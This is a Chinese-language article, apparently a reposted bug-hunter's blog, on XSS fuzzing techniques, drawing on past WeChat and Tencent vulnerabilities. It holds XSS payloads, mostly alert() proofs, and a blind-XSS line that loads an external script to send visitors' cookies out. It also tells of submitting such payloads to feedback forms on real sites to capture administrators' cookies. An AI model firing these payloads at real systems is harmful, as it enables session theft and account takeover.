跨站的藝術-XSS Fuzzing 的技巧

對於XSS的漏洞挖掘過程，其實就是一個使用Payload不斷測試和調整再測試的過程，這個過程咱們把它叫作Fuzzing；一樣是Fuzzing，有些人挖洞比較高效，有些人卻不那麼容易挖出漏洞，除了掌握的技術以外，好比編碼的繞過處理等，還包含一些技巧性的東西，掌握一些技巧和規律，可使得挖洞會更加從容。

XSS應該是我挖過的最多漏洞的一種Web漏洞類型，累積下來，就國內BAT、金山、新浪、網易等這些互聯網公司的XSS，應該至少也有超過100個，這篇文章主要就是根據本身的一些經驗與你們一塊兒探討編碼繞過、處理等技術因素以外的XSS Fuzzing的一些技巧。

Fuzzing（模糊測試）是挖掘漏洞最經常使用的手段之一，不止是XSS，應該能夠說Fuzzing能夠用於大部分類型的漏洞挖掘。通俗能夠把這種方式理解爲不斷嘗試的過程。

XSS的Fuzzing流程

 

這是一個比較常規的Web漏掃中XSS檢測插件的一個流程圖，其中比較關鍵的幾個點在於：

1. 檢測輸入點
2. 潛在注入點檢測
3. 生成Payload
4. Payload攻擊驗證

檢測輸入點其實就是尋找數據入口，好比說GET/POST數據，或者Header頭部裏的UA/Referer/Cookie，再或者URL路徑等等，這些均可以成爲輸入入口，轉換爲比較形象點的說法，好比看到一個搜索框，你可能會在搜索框裏提交關鍵詞進行搜索，那麼這裏可能就發生了一個GET或者POST請求，這裏其實就是一個輸入點。

其次是潛在注入點檢測，潛在注入的檢測是判斷輸入點是否能夠成功把數據注入到頁面內容，對於提交數據內容可是不輸出到頁面的輸入點是沒有必要進行Fuzzing的，由於即便能夠提交攻擊代碼，也不會產生XSS；在潛在注入點的檢測一般使用的是一個隨機字符串，好比隨機6位數字，再判斷這6位數字是否返回輸出在頁面，以此來進行判斷。爲何不直接使用Payload進行判斷呢？由於Payload裏包含了攻擊代碼，一般不少應用都有防火牆或者過濾機制，Payload中的關鍵詞會被攔截致使提交失敗或者不會返回輸出在頁面，但這種狀況不表明不能XSS，由於有可能只是Payload不夠好，沒有繞過過濾或者其餘安全機制，因此採用無害的隨機數字字符就能夠避免這種狀況產生，先驗證可注入，再調整Payload去繞過過濾；而隨機的目的在於不但願固定字符成爲XSS防護黑名單裏的關鍵詞。

再者就是生成Payload和進行攻擊驗證的過程，Payload的好壞決定了攻擊是否能夠成功；而對於不一樣狀況的注入點，須要使用的Payload也是不一樣的，好比，注入的位置在標籤屬性中仍是標籤事件中，使用的Payload是不一樣的；

標籤屬性中：如<a href="注入位置">test</a>，Payload："></a><script>alert(0)</script><a  href="
標籤事件中：<img href="a.jpg" onload="注入位置">, Payload：alert(0)

其實Payload的生成就是一個不斷Fuzzing和不斷調整的過程，根據注入位置上下文代碼的結構、內容以及應用過濾機制等不斷調整和不斷提交測試的過程，下圖是一個Payload的生成流程。

那麼假如某次Payload調整後Fuzzing成功，也就意味XSS注入成功，並得出這個漏洞的PoC。

其實爲何一開始就介紹下掃描器常規的XSS檢測方式呢？由於手工Fuzzing XSS其實也是這樣一個過程，不少安全工具其實就是將手工的過程自動化。

接下來進入正題咱們一塊兒探討一些XSS的挖掘技巧。

不同的暱稱

這是一個微信網頁版的存儲型XSS，注入點是微信暱稱的位置（右圖），經過訪問微信羣成員列表能夠觸發XSS致使彈框。

這是微信某個春節搖一搖活動的XSS（這裏是生效了<h1>），經過微信訪問活動頁面，自動受權後獲取微信暱稱並自動顯示在活動頁面，當時微信暱稱是：<h1>張祖優(Fooying)";alert(0)//，因爲<h1>生效，致使暱稱顯示變大。

這仍然是騰訊某個產品的活動頁面，也是經過微信點擊自動獲取暱稱而後在活動頁面顯示，這個截圖的頁面連接實際是：http://tdf.qq.com/mobile/index2.html?name=<a href="http://www.fooying.com">點擊抽獎</a>&type=share&from=timeline&isappinstalled=1（至關於當時個人暱稱是：<a href="http://www.fooying.com">點擊抽獎</a>）

這也是一個微信網頁版存儲型XSS，注入點一樣是在暱稱，經過訪問通信錄能夠觸發XSS，觸發的暱稱大概是：<img src=0 onerror=alert(5)>。

看了幾個漏洞，再給你們看看我以前的QQ暱稱和微信暱稱：

 

其中右圖的暱稱是<h1>張祖優(Fooying)";alert(0)//。

看了上面的例子，我想你們已經能夠發現，前面的幾個XSS其實都是基本經過暱稱的位置提交攻擊代碼致使了XSS的產生，這其實就是一種XSS被動挖掘的技巧。其實漏洞挖掘，特別是XSS，有時候是靠主動挖掘，但更多的時候也能夠經過被動的方式發現，特別是相似QQ、微信這種一號多用的狀況，能夠想象你的微信暱稱、QQ暱稱或者簽名等，在不一樣的應用、網頁中登陸，你的暱稱就會在不一樣的地方顯示，這些暱稱在微信、QQ自己不會致使問題的產生，但到了其餘頁面呢？也許就會致使問題的產生。

固然，如今微信應不容許設置含有特殊字符的暱稱了，而QQ你們也能夠看到，對尖括號進行了轉義，不過在這以前，單單就微信暱稱，經過這種方式，我起碼發現了騰訊以及非騰訊的各類朋友圈中的活動的不下於二十個XSS。

網址跳轉中的規律

這是一個13年提交的騰訊雲登陸跳轉的XSS。

前一段時間雷鋒網有對我作了一個採訪，這篇文章也發在KM上，不知道你們有沒有看到其中有一個細節，講的是我爲了哄女友開心，而後挖洞收集公仔，當時其實我是在兩天內挖洞十幾個洞，而且都是XSS。可能你們就會好奇爲何能一會兒挖洞那麼多的洞，仍是不一樣廠商的，我如今能記得的有YY、439九、搜狐暢遊等，實際上是當時找到一個規律，上圖中騰訊雲的這個XSS也屬於這個規律，因此就專門提出來。

登陸和註冊是大部分網站的必備功能，而不知道你們有沒有注意到一個細節，當你在未登陸狀態下訪問一些須要須要登陸態的頁面，好比我的中心，他會自動跳轉到登陸或者註冊頁面要求你登陸，而後這個時候的登陸URL其實會帶有一個跳轉URL，這是爲了方便你登陸後直接跳轉到你原來訪問的頁面，是一個比較好的用戶體驗的設計。

在使用這樣的功能的時候，我直接手上嘗試，直接把跳轉的URL修改成個人博客連接，而後再登陸，發現能夠直接跳轉到個人博客，因而我再嘗試了javascript%3Aalert(0)，發現JS代碼能夠直接執行並彈了個框。這個功能的設計其實原來是進行站內的跳轉，可是因爲功能設計上的缺陷，沒有對跳轉的URL進行判斷或者判斷有問題，因而能夠致使直接跳轉到其餘網站或者產生XSS。固然，不止是登陸，註冊功能也存在一樣問題。當時我去測試了不少網站，發現不少網站就存在這樣的問題，因而我才能夠作到連續去挖不一樣網站的漏洞來收集公仔，就是用了一樣的一個問題。

http://www.xxx.com/login?url=xxx
http://www.xxx.com/reg?url=xxx

而總體的測試流程大概是這樣的：

#號裏的祕密

這是以前騰訊雲官網的一個DOM XSS

這是以前微信國外版官網的一處 DOM XSS

這是以前ent.qq.com域下的一個DOM XSS，這裏應該是實現一個頁面訪問來源統計的功能，將referer拼接到URL經過img加載的方式發起GET請求以此向服務端發送訪問來源URL，黑客能夠構造地址爲http://www.0xsafe.com" onerror="alert(0) 的頁面點擊連接跳轉到 http://datalib.ent.qq.com/tv/3362/detail.shtml，就能夠觸發XSS。

這是比較早提交的一個遊戲igame.qq.com的DOM XSS，這處的XSS正好當時保存下JS，以下，讀取window.location而後寫入到ID爲output的標籤代碼裏，因而致使XSS的產生。

<script language="JavaScript">
    document.domain="qq.com";
    function pageLoaded(){
        window.parent.dhtmlHistory.iframeLoaded(window.location);    
        document.getElementById("output").innerHTML = window.location;
    }
</script>

這類XSS都是DOM XSS，DOM XSS不一樣於其餘類型的XSS，XSS的產生是因爲頁面中的JS代碼在頁面渲染完成後經過讀取URL等內容修改頁面DOM樹而產生的XSS。

其實不難能夠發現，這類XSS在大部分狀況下也是有一些技巧可言的，好比你們能夠發現網址中都存在#（DOM XSS不是必定URL得存在#，只是這種狀況比較常見）；那麼是否是見到網址中存在#就能夠隨便去修改#後面的內容就Fuzzing一通呢？固然不是，還須要去判斷頁面的源碼中的JS代碼以及頁面引用的JS文件的代碼中是否存在對如下內容的使用，是否存在沒有過濾或者過濾不全的狀況下將如下的內容直接輸入到DOM樹裏。

document.location/location
document.URL
document.URLUnencoded
deddocument.referrer
window.location

被改變的內容

一旦有存在以上的狀況，那麼每每存在DOM XSS的機率就比較大，接下來就是看看能不能繞過相關的過濾和安全機制的處理。

這是以前挖的一個存在於之前PC 版本QQ的網頁預覽功能的一個XSS；經過在聊天窗口分享文章，而後點擊連接會在右側打開頁面顯示文章的內容，會致使XSS的產生。

爲何在客戶端裏也會存在XSS?其實不少客戶端，包括如今不少手機APP，不少功能都是經過內嵌網頁進行實現的，因而也就爲何會存在XSS等前端問題。這些網頁能夠經過設置代理的方式來發現。

這是一篇發表在博客園的文章，文章裏包含一些XSS的攻擊代碼，可是能夠發現代碼在博客園自己已經被進行了轉義，無法產生XSS。

而文章被在QQ中預覽的時候，能夠發現，被轉義的攻擊代碼又轉義了回來（由於這個功能須要只顯示文本內容，而刪除一些不必的頁面框架、內容的顯示，全部對內容有作了一些轉碼等操做），致使的攻擊代碼的生效，並由此產生了XSS（其實這類XSS叫作mXSS，突變型XSS）。

這是一篇發表在微信公衆號的文章，文章中包含了一些XSS盲打（後面會進行介紹）的攻擊代碼，而後能夠看到，在微信公衆號文章裏代碼被進行了轉義，而沒法生效產生XSS。

chuansong.me是一個第三方網站，會主動採集微信公衆號上的一些文章並生成訪問連接和索引，能夠看到一樣的一篇文章在被傳送門採集轉載後，原本會被轉義的代碼直接生效了，因而就成爲了存儲型XSS，咱們經過盲打平臺也能夠看到其餘用戶訪問這篇文章而被採集併發送到盲打平臺的Cookie。

有的時候，被轉義的內容也會成爲生效的攻擊代碼，經過控制源頭的方式也可使得XSS的攻擊產生。

隨手進行的XSS盲打

這是我XSS盲打平臺項目的其中一頁結果截圖，這裏的每一項都包含對應網址訪問用戶的Cookie，而Cookie則能夠用來直接登陸對應的地址；在圖裏包含了360 soso、360遊戲客服、新浪郵箱等幾個網站的後臺的Cookie，不過惋惜的是，因爲這些平臺進行了訪問限制，因此外網沒法訪問，也沒法登陸。

拋開沒法訪問的問題，那麼這些信息是怎麼得來了呢？XSS盲打。

常規的XSS攻擊是經過頁面返回內容中JS攻擊代碼的生效與否來判斷XSS的攻擊是否成功；而對於一些網頁功能，好比反饋，咱們能夠發現，無論你提交什麼內容，返回的內容都是"感謝您的反饋"相似的語句，並不會根據你提交的內容而在頁面中顯示不一樣的內容，對於這樣的內容提交點，就沒法經過頁面反饋判斷攻擊代碼是否注入成功，那麼就能夠經過XSS盲打。

XSS盲打通常經過XSS盲打平臺，在XSS盲打平臺創建項目，會生成項目攻擊連接，實際上就是一個相似JS文件的訪問連接，這個JS文件中其中至少包含一個功能，那就是向盲打平臺發送GET/POST請求傳輸數據回來，好比Cookie，這樣的話，相似在反饋頁面提交的攻擊代碼一旦生效，就等於JS代碼被執行，那麼就會向盲打平臺返回數據，那就說明攻擊成功了；假如一直沒有返回數據，那就說明提交的攻擊代碼沒有執行或者執行出問題，也就證實攻擊失敗。

盲打平臺的項目：

對於我而言，看到相似下圖這樣一個內容提交的地方，我都會忍不住提交盲打代碼

</textarea>'"><script src=http://t.cn/R6qRcps></script>

而相似於這樣的功能，若是存在XSS，通常會在什麼地方何時出發攻擊代碼呢？管理人員在後臺審覈這些內容的時候，因此說通常XSS盲打若是成功，每每能夠得到對應功能管理後臺的地址以及管理員的Cookie，假如管理後臺沒有作訪問的限制，就能用對應管理員的Cookie登陸上去。

這就是上圖手遊客服中心盲打成功獲得的後臺地址和Cookie（當前已失效並修復）。

總結

在XSS的世界裏有不少的Fuzzing技巧和方式，學會從正常功能中發現攻擊方式，在Web安全的世界裏，除了技術，還須要猥瑣的思惟和技巧。

另外，其實你們不難發現，無論是暱稱、網址跳轉或者是文章提到的內容轉義的變化也好，不少時候內容原有的地方並不會觸發XSS，而內容在其餘地方使用後則就觸發了XSS，因此對於開發人員來講，無論是來自哪裏的內容，都應該有本身的過濾機制，而不能徹底的信任，其實總結一句話就是：任何的輸入都是有害的！

本文轉載自騰雲閣，已得到做者受權。